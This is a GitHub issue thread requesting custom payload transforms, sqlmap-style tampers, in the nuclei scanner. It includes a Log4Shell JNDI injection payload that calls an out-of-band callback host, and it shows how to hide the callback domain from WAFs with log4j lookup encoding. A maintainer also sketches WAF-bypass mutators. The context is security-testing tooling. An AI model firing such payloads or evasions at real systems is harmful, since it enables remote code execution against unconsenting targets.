nuclei
nuclei copied to clipboard
Custom expressions / tranforms on request values
Please describe your feature request:
First, I am relatively new to Nuclei so please forgive me if there is some way to do this, aside from patching the source. I searched a bit to see if I could find a way but didn't see one
Currently nucleii supports expressions like base64, rand_text_alpha, etc. to dynamically modify payloads. What I am looking for is the ability to perform a custom expression, ideally in the language of my choice.
Describe the use case of this feature:
In my case, I am testing with a payload that includes an interact.sh domain for a custom interact.sh server. Because interact.sh domains themselves are very easy to fingerprint and therefore block, before I started testing nucleii as a tool, I was using my own tool to generate, send and correlate any responses- and in that tool, I was performing the dynamic obfuscation/encoding on the actual interact.sh domain before sending the request- this works fine but I would like to leverage all of the features of nucleei instead of using my own tool- since my tool has some clunk and cruft, and there are some really effective templates available for nucleei
Specific Use-Case: log4j encoding
The most recent and relevant example is the log4j issue. Consider the following template value for the Contact header:
Contact: ${${::-j}ndi:rmi://{{interactsh-url}}/}'
In this case, the obfuscation/encoding is hard-coded into the template- which is no problem because the un-obfuscated text is static. This provides some basic obfuscation on the ${jndi:rmi://} string, but the interact.sh domain still goes through "as-is". There's no way to encode it as far as I can tell, because it is dynamically generated by the template/request engine. The interact.sh domain is very easy to fingerprint with a WAF, which is why this is an issue. This is true even when using a custom interact.sh domain
Assume the {{interactsh-url}} value is 4d3js1nguo28r8164020c8dwn8eyyyquo.custom.domain. I would prefer to run this value through my own encoder (specific to log4j expression evaluation) and send something like the following instead of that interact.sh domain literal:
${tsj:-4}${k7h:-d}${XUu:-3}${ome:-j}${U0m:-s}${aLG:-1}${Jhy:-n}${Xbi:-g}${Gp0:-u}${Uv5:-o}${nTc:-2}${TA0:-8}${rMD:-r}${lGt:-8}${Ihm:-1}${qlP:-6}${DCO:-4}${pbV:-0}${T3p:-2}${pNn:-0}${K1a:-c}${Dee:-8}${QV4:-d}${g75:-w}${jGo:-n}${cCR:-8}${auU:-e}${m5p:-y}${XDQ:-y}${IJc:-y}${Bkf:-q}${Sw7:-u}${enD:-o}${C6R:-.}${tQ7:-c}${LV3:-u}${W74:-s}${aZB:-t}${bBE:-o}${G6o:-m}${pXA:-.}${Bre:-d}${YZp:-o}${jhA:-m}${NeG:-a}${igN:-i}${eGA:-n}
Is there some way I'm missing to do manipulation with this level of complexity on a dynamic varable/expression in the template?
Workarounds
- I could disable the interact.sh support in Nuceli and do this all manually. This isn't a very good workaround because it completely removes the interact.sh support. I'm trying to move from my own solution that didn't use interact.sh to one that does, so this isn't helpful for me
- (not really a workaround, but a short-term solution for me) Add a new expression in the
nucleiicodebase (e.g.log4j_encode()) and then rebuildnucleiiand reference it from the template in the same way one would usebase64(). It seems that this may be a bit heavy-handed as this sort of encoding is relatively unique to log4j and would therefore have minimal value to thenucleiiproject as a whole. If I do this I'd be happy to send a PR upstream, but I'm not sure it's worth the effort
Implementation Suggestions
The way sqlmap does this is via --tamper. When --tamper is set to a Python module implementing a simple interface, the final payload for each dynamically created request is first sent to that module (and then retrieved back from it) before transmission.
There are some drawbacks to that, specifically when it comes to performance, though depending on the details performance impact could be minimized. For example, the "tamper" module could be a long-running program in C, golang, rust, Python- whatever- with a tight select loop on a TCP port or some IPC mechanism (e.g. named pipe) where requests and responses could be rapidly passed back and forth without much overhead. Any performance issues would be the responsibility of the user that developed the "tamper" application/daemon
If performance isn't a concern, then it could of course operate in a mode where a new process is created, the payload is sent via stdin to the new process, modified, and then returned via stdout. This would be simplest for most users since they wouldn't need to worry about i/o multiplexing, sockets, etc. They could just use stdin/stdout
Maybe there is some way to do this, or a more clever workaround?
Thanks
@mzpqnxow this is a very good idea. We were also thinking of providing some way of doing tampers on request to do things like waf-bypass etc. We can use this issue for discussing and formulating the idea.
Some idea of the way we were thinking of doing this -
rule:
- On: User Agent
mutators: uppercase | base64encode
- On: Payloads
mutators: hex
- On: request
mutators: x-forward-headers
- On: QueryString
mutator: basic-xss
cc @Mzack9999
@mzpqnxow this is a very good idea. We were also thinking of providing some way of doing tampers on request to do things like waf-bypass etc. We can use this issue for discussing and formulating the idea.
Some idea of the way we were thinking of doing this -
Are you thinking of providing a way for the user to do fully arbitrary transforms? Or are you just thinking of expanding the various built-in functionality? I realize probably 95% of users will be happy to defer to the nuclei dev team/community on how to encode stuff, though there are always a few that will need to do something somewhat specific (and/or are unable to contribute whatever they're using back to the project, for whatever reason)
Basically I'm asking for this specific example (log4j) would it be:
- On: QueryString
mutator: log4j
Or:
- On: QueryString
mutator: custom_user_thingie
(where custom_user_thingie would be something that exists in some way outside of nuclei)
Or maybe this is part of what's open for discussion?
Any planning on this, or is it still just a long-term /nebulous thing? Just checking or for the sake of keeping the issue open and not completely stale
(or closing it would be fine too)